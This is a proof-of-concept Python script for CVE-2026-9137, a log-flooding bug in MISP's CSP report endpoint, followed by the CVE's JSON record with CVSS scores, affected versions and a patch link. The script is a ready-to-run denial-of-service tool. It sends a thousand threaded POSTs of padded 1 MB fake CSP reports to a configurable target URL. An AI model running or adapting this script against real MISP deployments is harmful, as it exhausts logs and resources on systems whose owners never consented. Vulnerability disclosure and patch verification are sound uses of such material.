CVE-2026-9137

# CVE-2026-9137 PoC - MISP CSP Report Endpoint Flooding # This PoC demonstrates the CSP report flooding vulnerability in MISP # The endpoint incorrectly allows CSP reports up to 1MB instead of 1KB import requests import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-misp-instance/api/csp-report" # Modify to target URL NUM_REQUESTS = 1000 THREADS = 10 def generate_large_csp_report(size_kb=1024): """Generate a large CSP report of specified size (default 1MB)""" # Create a large CSP violation report report = { "csp-report": { "document-uri": "http://evil-attacker.com/malicious-page.html", "referrer": "http://evil-attacker.com/", "blocked-uri": "http://evil-attacker.com/malicious-script.js", "violated-directive": "script-src", "original-policy": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted-site.com", "disposition": "enforce" } } # Add padding to reach target size padding = "A" * (size_kb * 1024 - len(str(report))) report["csp-report"]["extra-data"] = padding return report def send_csp_report(session, url): """Send a single CSP report to the target endpoint""" try: report = generate_large_csp_report(1024) # 1MB report headers = { "Content-Type": "application/csp-report", "User-Agent": "Mozilla/5.0 (compatible; CSP-Reports)" } response = session.post(url, json=report, headers=headers, timeout=30) return response.status_code except Exception as e: print(f"Error: {e}") return None def main(): print(f"[*] CVE-2026-9137 PoC - MISP CSP Report Flooding") print(f"[*] Target: {TARGET_URL}") print(f"[*] Sending {NUM_REQUESTS} requests with {THREADS} threads") session = requests.Session() start_time = time.time() with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = [executor.submit(send_csp_report, session, TARGET_URL) for _ in range(NUM_REQUESTS)] completed = 0 for future in as_completed(futures): status = future.result() completed += 1 if completed % 100 == 0: print(f"[+] Progress: {completed}/{NUM_REQUESTS}") elapsed = time.time() - start_time print(f"[+] Completed in {elapsed:.2f} seconds") print(f"[+] Estimated data sent: {NUM_REQUESTS} MB") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-9137", "sourceIdentifier": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "published": "2026-05-20T20:16:46.177", "lastModified": "2026-06-02T16:34:32.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSP report endpoint in MISP intended to limit logged CSP reports to 1 KB but incorrectly allowed reports up to 1 MB before truncation. On deployments where the endpoint is reachable by untrusted clients, this could allow attackers to generate excessive log volume and contribute to resource exhaustion or log flooding."}], "metrics": {"cvssMetricV40": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.5.38", "matchCriteriaId": "FA00E7DB-EF07-49DE-8103-33FEADA77C89"}]}]}], "references": [{"url": "https://github.com/MISP/MISP/commit/02932cccab230b295afcaf5aa05e363d30db0ec9", "source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "tags": ["Patch"]}]}}